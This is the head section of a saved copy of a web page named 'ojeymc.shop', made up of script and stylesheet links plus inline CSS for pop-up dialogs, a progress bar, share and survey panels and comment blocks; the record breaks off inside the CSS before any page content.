<!DOCTYPE html>
<html><head>
    <title></title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta charset="UTF-8">
    <meta property="og:type" content="website">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="robots" content="noindex, follow">
    <link rel="stylesheet" href="ojeymc.shop_files/bootstrap.min.css">
    <link rel="stylesheet" href="ojeymc.shop_files/select2.min.css">
    <link rel="stylesheet" href="ojeymc.shop_files/all.min.css">
    <script type="text/javascript" async="" src="ojeymc.shop_files/js_002"></script><script src="ojeymc.shop_files/hm_003.js"></script><script src="ojeymc.shop_files/hm_004.js"></script><script src="ojeymc.shop_files/hm.js"></script><script src="ojeymc.shop_files/hm_002.js"></script><script src="ojeymc.shop_files/jquery.min.js"></script>
    <script src="ojeymc.shop_files/bootstrap.min.js"></script>
    <script src="ojeymc.shop_files/sweetalert2.all.min.js"></script><style>.swal2-popup.swal2-toast{flex-direction:row;align-items:center;width:auto;padding:.625em;overflow-y:hidden;background:#fff;box-shadow:0 0 .625em #d9d9d9}.swal2-popup.swal2-toast .swal2-header{flex-direction:row;padding:0}.swal2-popup.swal2-toast .swal2-title{flex-grow:1;justify-content:flex-start;margin:0 .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{position:static;width:.8em;height:.8em;line-height:.8}.swal2-popup.swal2-toast .swal2-content{justify-content:flex-start;padding:0;font-size:1em}.swal2-popup.swal2-toast .swal2-icon{width:2em;min-width:2em;height:2em;margin:0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:700}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{font-size:.25em}}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{flex-basis:auto!important;width:auto;height:auto;margin:0 .3125em;padding:0}.swal2-popup.swal2-toast .swal2-styled{margin:.125em .3125em;padding:.3125em .625em;font-size:1em}.swal2-popup.swal2-toast .swal2-styled:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(100,150,200,.5)}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.8em;left:-.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{-webkit-animation:swal2-toast-animate-success-line-tip .75s;animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{-webkit-animation:swal2-toast-animate-success-line-long .75s;animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{-webkit-animation:swal2-toast-show .5s;animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{-webkit-animation:swal2-toast-hide .1s forwards;animation:swal2-toast-hide .1s forwards}.swal2-container{display:flex;position:fixed;z-index:1060;top:0;right:0;bottom:0;left:0;flex-direction:row;align-items:center;justify-content:center;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}.swal2-container.swal2-backdrop-show,.swal2-container.swal2-noanimation{background:rgba(0,0,0,.4)}.swal2-container.swal2-backdrop-hide{background:0 0!important}.swal2-container.swal2-top{align-items:flex-start}.swal2-container.swal2-top-left,.swal2-container.swal2-top-start{align-items:flex-start;justify-content:flex-start}.swal2-container.swal2-top-end,.swal2-container.swal2-top-right{align-items:flex-start;justify-content:flex-end}.swal2-container.swal2-center{align-items:center}.swal2-container.swal2-center-left,.swal2-container.swal2-center-start{align-items:center;justify-content:flex-start}.swal2-container.swal2-center-end,.swal2-container.swal2-center-right{align-items:center;justify-content:flex-end}.swal2-container.swal2-bottom{align-items:flex-end}.swal2-container.swal2-bottom-left,.swal2-container.swal2-bottom-start{align-items:flex-end;justify-content:flex-start}.swal2-container.swal2-bottom-end,.swal2-container.swal2-bottom-right{align-items:flex-end;justify-content:flex-end}.swal2-container.swal2-bottom-end>:first-child,.swal2-container.swal2-bottom-left>:first-child,.swal2-container.swal2-bottom-right>:first-child,.swal2-container.swal2-bottom-start>:first-child,.swal2-container.swal2-bottom>:first-child{margin-top:auto}.swal2-container.swal2-grow-fullscreen>.swal2-modal{display:flex!important;flex:1;align-self:stretch;justify-content:center}.swal2-container.swal2-grow-row>.swal2-modal{display:flex!important;flex:1;align-content:center;justify-content:center}.swal2-container.swal2-grow-column{flex:1;flex-direction:column}.swal2-container.swal2-grow-column.swal2-bottom,.swal2-container.swal2-grow-column.swal2-center,.swal2-container.swal2-grow-column.swal2-top{align-items:center}.swal2-container.swal2-grow-column.swal2-bottom-left,.swal2-container.swal2-grow-column.swal2-bottom-start,.swal2-container.swal2-grow-column.swal2-center-left,.swal2-container.swal2-grow-column.swal2-center-start,.swal2-container.swal2-grow-column.swal2-top-left,.swal2-container.swal2-grow-column.swal2-top-start{align-items:flex-start}.swal2-container.swal2-grow-column.swal2-bottom-end,.swal2-container.swal2-grow-column.swal2-bottom-right,.swal2-container.swal2-grow-column.swal2-center-end,.swal2-container.swal2-grow-column.swal2-center-right,.swal2-container.swal2-grow-column.swal2-top-end,.swal2-container.swal2-grow-column.swal2-top-right{align-items:flex-end}.swal2-container.swal2-grow-column>.swal2-modal{display:flex!important;flex:1;align-content:center;justify-content:center}.swal2-container.swal2-no-transition{transition:none!important}.swal2-container:not(.swal2-top):not(.swal2-top-start):not(.swal2-top-end):not(.swal2-top-left):not(.swal2-top-right):not(.swal2-center-start):not(.swal2-center-end):not(.swal2-center-left):not(.swal2-center-right):not(.swal2-bottom):not(.swal2-bottom-start):not(.swal2-bottom-end):not(.swal2-bottom-left):not(.swal2-bottom-right):not(.swal2-grow-fullscreen)>.swal2-modal{margin:auto}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-container .swal2-modal{margin:0!important}}.swal2-popup{display:none;position:relative;box-sizing:border-box;flex-direction:column;justify-content:center;width:32em;max-width:100%;padding:1.25em;border:none;border-radius:5px;background:#fff;font-family:inherit;font-size:1rem}.swal2-popup:focus{outline:0}.swal2-popup.swal2-loading{overflow-y:hidden}.swal2-header{display:flex;flex-direction:column;align-items:center;padding:0 1.8em}.swal2-title{position:relative;max-width:100%;margin:0 0 .4em;padding:0;color:#595959;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}.swal2-actions{display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:100%;margin:1.25em auto 0;padding:0 1.6em}.swal2-actions:not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}.swal2-actions:not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0,0,0,.1),rgba(0,0,0,.1))}.swal2-actions:not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0,0,0,.2),rgba(0,0,0,.2))}.swal2-loader{display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;-webkit-animation:swal2-rotate-loading 1.5s linear 0s infinite normal;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 transparent #2778c4 transparent}.swal2-styled{margin:.3125em;padding:.625em 1.1em;box-shadow:none;font-weight:500}.swal2-styled:not([disabled]){cursor:pointer}.swal2-styled.swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#2778c4;color:#fff;font-size:1.0625em}.swal2-styled.swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#d14529;color:#fff;font-size:1.0625em}.swal2-styled.swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#757575;color:#fff;font-size:1.0625em}.swal2-styled:focus{outline:0;box-shadow:0 0 0 3px rgba(100,150,200,.5)}.swal2-styled::-moz-focus-inner{border:0}.swal2-footer{justify-content:center;margin:1.25em 0 0;padding:1em 0 0;border-top:1px solid #eee;color:#545454;font-size:1em}.swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;height:.25em;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}.swal2-timer-progress-bar{width:100%;height:.25em;background:rgba(0,0,0,.2)}.swal2-image{max-width:100%;margin:1.25em auto}.swal2-close{position:absolute;z-index:2;top:0;right:0;align-items:center;justify-content:center;width:1.2em;height:1.2em;padding:0;overflow:hidden;transition:color .1s ease-out;border:none;border-radius:5px;background:0 0;color:#ccc;font-family:serif;font-size:2.5em;line-height:1.2;cursor:pointer}.swal2-close:hover{transform:none;background:0 0;color:#f27474}.swal2-close:focus{outline:0;box-shadow:inset 0 0 0 3px rgba(100,150,200,.5)}.swal2-close::-moz-focus-inner{border:0}.swal2-content{z-index:1;justify-content:center;margin:0;padding:0 1.6em;color:#545454;font-size:1.125em;font-weight:400;line-height:normal;text-align:center;word-wrap:break-word}.swal2-checkbox,.swal2-file,.swal2-input,.swal2-radio,.swal2-select,.swal2-textarea{margin:1em auto}.swal2-file,.swal2-input,.swal2-textarea{box-sizing:border-box;width:100%;transition:border-color .3s,box-shadow .3s;border:1px solid #d9d9d9;border-radius:.1875em;background:inherit;box-shadow:inset 0 1px 1px rgba(0,0,0,.06);color:inherit;font-size:1.125em}.swal2-file.swal2-inputerror,.swal2-input.swal2-inputerror,.swal2-textarea.swal2-inputerror{border-color:#f27474!important;box-shadow:0 0 2px #f27474!important}.swal2-file:focus,.swal2-input:focus,.swal2-textarea:focus{border:1px solid #b4dbed;outline:0;box-shadow:0 0 0 3px rgba(100,150,200,.5)}.swal2-file::-moz-placeholder,.swal2-input::-moz-placeholder,.swal2-textarea::-moz-placeholder{color:#ccc}.swal2-file:-ms-input-placeholder,.swal2-input:-ms-input-placeholder,.swal2-textarea:-ms-input-placeholder{color:#ccc}.swal2-file::placeholder,.swal2-input::placeholder,.swal2-textarea::placeholder{color:#ccc}.swal2-range{margin:1em auto;background:#fff}.swal2-range input{width:80%}.swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}.swal2-range input,.swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}.swal2-input{height:2.625em;padding:0 .75em}.swal2-input[type=number]{max-width:10em}.swal2-file{background:inherit;font-size:1.125em}.swal2-textarea{height:6.75em;padding:.75em}.swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:inherit;color:inherit;font-size:1.125em}.swal2-checkbox,.swal2-radio{align-items:center;justify-content:center;background:#fff;color:inherit}.swal2-checkbox label,.swal2-radio label{margin:0 .6em;font-size:1.125em}.swal2-checkbox input,.swal2-radio input{margin:0 .4em}.swal2-input-label{display:flex;justify-content:center;margin:1em auto}.swal2-validation-message{align-items:center;justify-content:center;margin:0 -2.7em;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}.swal2-validation-message::before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}.swal2-icon{position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:1.25em auto 1.875em;border:.25em solid transparent;border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}.swal2-icon.swal2-error{border-color:#f27474;color:#f27474}.swal2-icon.swal2-error .swal2-x-mark{position:relative;flex-grow:1}.swal2-icon.swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}.swal2-icon.swal2-error.swal2-icon-show{-webkit-animation:swal2-animate-error-icon .5s;animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark{-webkit-animation:swal2-animate-error-x-mark .5s;animation:swal2-animate-error-x-mark .5s}.swal2-icon.swal2-warning{border-color:#facea8;color:#f8bb86}.swal2-icon.swal2-info{border-color:#9de0f6;color:#3fc3ee}.swal2-icon.swal2-question{border-color:#c9dae1;color:#87adbd}.swal2-icon.swal2-success{border-color:#a5dc86;color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}.swal2-icon.swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-.25em;left:-.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}.swal2-icon.swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}.swal2-icon.swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}.swal2-icon.swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip{-webkit-animation:swal2-animate-success-line-tip .75s;animation:swal2-animate-success-line-tip .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long{-webkit-animation:swal2-animate-success-line-long .75s;animation:swal2-animate-success-line-long .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right{-webkit-animation:swal2-rotate-success-circular-line 4.25s ease-in;animation:swal2-rotate-success-circular-line 4.25s ease-in}.swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:0 0 1.25em;padding:0;background:inherit;font-weight:600}.swal2-progress-steps li{display:inline-block;position:relative}.swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}.swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}[class^=swal2]{-webkit-tap-highlight-color:transparent}.swal2-show{-webkit-animation:swal2-show .3s;animation:swal2-show .3s}.swal2-hide{-webkit-animation:swal2-hide .15s forwards;animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{right:auto;left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@supports (-ms-accelerator:true){.swal2-range input{width:100%!important}.swal2-range output{display:none}}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-range input{width:100%!important}.swal2-range output{display:none}}@-webkit-keyframes swal2-toast-show{0%{transform:translateY(-.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0)}}@keyframes swal2-toast-show{0%{transform:translateY(-.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0)}}@-webkit-keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@-webkit-keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@-webkit-keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@-webkit-keyframes swal2-show{0%{transform:scale(.7)}45%{transform:scale(1.05)}80%{transform:scale(.95)}100%{transform:scale(1)}}@keyframes swal2-show{0%{transform:scale(.7)}45%{transform:scale(1.05)}80%{transform:scale(.95)}100%{transform:scale(1)}}@-webkit-keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(.5);opacity:0}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(.5);opacity:0}}@-webkit-keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@-webkit-keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@-webkit-keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@-webkit-keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(.4);opacity:0}50%{margin-top:1.625em;transform:scale(.4);opacity:0}80%{margin-top:-.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(.4);opacity:0}50%{margin-top:1.625em;transform:scale(.4);opacity:0}80%{margin-top:-.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@-webkit-keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0);opacity:1}}@-webkit-keyframes swal2-rotate-loading{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}@keyframes swal2-rotate-loading{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto!important}body.swal2-no-backdrop .swal2-container{top:auto;right:auto;bottom:auto;left:auto;max-width:calc(100% - .625em * 2);background-color:transparent!important}body.swal2-no-backdrop .swal2-container>.swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}body.swal2-no-backdrop .swal2-container.swal2-top{top:0;left:50%;transform:translateX(-50%)}body.swal2-no-backdrop .swal2-container.swal2-top-left,body.swal2-no-backdrop .swal2-container.swal2-top-start{top:0;left:0}body.swal2-no-backdrop .swal2-container.swal2-top-end,body.swal2-no-backdrop .swal2-container.swal2-top-right{top:0;right:0}body.swal2-no-backdrop .swal2-container.swal2-center{top:50%;left:50%;transform:translate(-50%,-50%)}body.swal2-no-backdrop .swal2-container.swal2-center-left,body.swal2-no-backdrop .swal2-container.swal2-center-start{top:50%;left:0;transform:translateY(-50%)}body.swal2-no-backdrop .swal2-container.swal2-center-end,body.swal2-no-backdrop .swal2-container.swal2-center-right{top:50%;right:0;transform:translateY(-50%)}body.swal2-no-backdrop .swal2-container.swal2-bottom{bottom:0;left:50%;transform:translateX(-50%)}body.swal2-no-backdrop .swal2-container.swal2-bottom-left,body.swal2-no-backdrop .swal2-container.swal2-bottom-start{bottom:0;left:0}body.swal2-no-backdrop .swal2-container.swal2-bottom-end,body.swal2-no-backdrop .swal2-container.swal2-bottom-right{right:0;bottom:0}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll!important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static!important}}body.swal2-toast-shown .swal2-container{background-color:transparent}body.swal2-toast-shown .swal2-container.swal2-top{top:0;right:auto;bottom:auto;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{top:0;right:0;bottom:auto;left:auto}body.swal2-toast-shown .swal2-container.swal2-top-left,body.swal2-toast-shown .swal2-container.swal2-top-start{top:0;right:auto;bottom:auto;left:0}body.swal2-toast-shown .swal2-container.swal2-center-left,body.swal2-toast-shown .swal2-container.swal2-center-start{top:50%;right:auto;bottom:auto;left:0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{top:50%;right:auto;bottom:auto;left:50%;transform:translate(-50%,-50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{top:50%;right:0;bottom:auto;left:auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-left,body.swal2-toast-shown .swal2-container.swal2-bottom-start{top:auto;right:auto;bottom:0;left:0}body.swal2-toast-shown .swal2-container.swal2-bottom{top:auto;right:auto;bottom:0;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{top:auto;right:0;bottom:0;left:auto}body.swal2-toast-column .swal2-toast{flex-direction:column;align-items:stretch}body.swal2-toast-column .swal2-toast .swal2-actions{flex:1;align-self:stretch;height:2.2em;margin-top:.3125em}body.swal2-toast-column .swal2-toast .swal2-loading{justify-content:center}body.swal2-toast-column .swal2-toast .swal2-input{height:2em;margin:.3125em auto;font-size:1em}body.swal2-toast-column .swal2-toast .swal2-validation-message{font-size:1em}</style>
    <script src="ojeymc.shop_files/lazyload.min.js"></script>
    <script src="ojeymc.shop_files/popper.min.js"></script>
    <style type="text/css"><style>
    html, body {
        font-size: 14px;
        width: 100%;
        height: 100%;
        padding: 0;
        margin: 0;
        font-family: sans-serif;
        -webkit-text-size-adjust: 100%;
        -webkit-tap-highlight-color: transparent;
    }

    @-webkit-keyframes progress-bar-stripes {
        from {
            background-position: 40px 0;
        }
        to {
            background-position: 0 0;
        }
    }

    @-o-keyframes progress-bar-stripes {
        from {
            background-position: 40px 0;
        }
        to {
            background-position: 0 0;
        }
    }

    @keyframes progress-bar-stripes {
        from {
            background-position: 40px 0;
        }
        to {
            background-position: 0 0;
        }
    }

    .progress {
        height: 20px;
        margin-bottom: 20px;
        overflow: hidden;
        background-color: #F5F5F5;
        border-radius: 4px;
        -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);
        box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);
    }

    .progress-bar {
        float: left;
        width: 0%;
        height: 100%;
        font-size: 12px;
        line-height: 20px;
        color: #FFF;
        text-align: center;
        background-color: #337AB7;
        -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);
        box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);
        -webkit-transition: width 0.6s ease;
        -o-transition: width 0.6s ease;
        transition: width 0.6s ease;
    }

    .progress-bar {
        background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
        background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
        background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
        -webkit-background-size: 40px 40px;
        background-size: 40px 40px;
    }

    .progress-bar {
        -webkit-animation: progress-bar-stripes 2s linear infinite;
        -o-animation: progress-bar-stripes 2s linear infinite;
        animation: progress-bar-stripes 2s linear infinite;
    }

    .progress-bar-success {
        background-color: #599BFF;
    }

    .progress-bar-success {
        background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
        background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
        background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
    }

    /*   fenxiangyemian */
    .share_success, .share_page {
        display: none;
    }

    .container {
        width: 100%;
        background-color: #ffffff;
        margin-right: auto;
        margin-left: auto;
    }

    .share_body {
        margin: 0 auto;
        width: 90%;
        background: #ffffff;
        border-radius: 10px;
    }

    .share_hd_text {
        text-align: center;
        font-size: 24px;
        font-weight: bold;
        color: #FF0000;
    }

    .share_main {
        margin: 10px auto;
        width: 100%;
        background: #eeeff4;
        border-radius: 10px;
    }

    .share_main_bt {
        margin: 10px auto;
        background:#4ab115;
        border-radius: 10px;
        width: 80%;
        line-height: 45px;
        text-align: center;
        font-size: 18px;
        font-weight: bold;
        color: #fff  !important;
    }

    .weui_dialog_text {
        margin: 0 5px;
        text-align: center;
        font-size: 14px;
        color: #222222;
    }

    .page {
        /*display: none;*/
    }

    .p_modal_button {
        background-color: #243645 !important;
    }
    .survey_button {
        background-color: #243645 !important;
        color: #fff !important;
    }
    .header_flex_item {
        color: #243645 !important;
    }
    .detail_block {
        width: 100%;
        height: auto;
        /* float: left; */
        padding: 0 0 5px;
        margin: 10px 0 0px 0;
        border-bottom: 1px solid #eaeaea;
        position: relative;
        display: flex;
        flex-direction: row;
        justify-content: center;
        align-items: flex-start;
    }
    .detail_left {
        width: 20%;
        /* position: absolute; */
        /* float: left; */
        padding: 0;
        /*margin: 0 22px 0 0;*/
    }
    
    .detail_left img {
        width: 15vw;
        max-width: 15vw;
        height: 15vw;
    }
    
    .detail_right {
        display: flex;
        width: 80%;
        flex-direction: column;
        justify-content: center;
        align-items: flex-start;
        overflow: hidden;
        text-align: left;
    }
    
    .detail_right h3 {
        width: 100%;
        /* float: left; */
        padding: 0;
        margin: 0 0 5px;
        font-size: 1rem;
        color: #3b5998;
        font-weight: 700;
    }
    
    .detail_right h3 .comm_name {
        color: #000000
    }
    
    .detail_right h3 a:hover {
        color: #5f7dbc
    }
    
    .detail_right p {
        width: 100%;
        float: left;
        padding: 0;
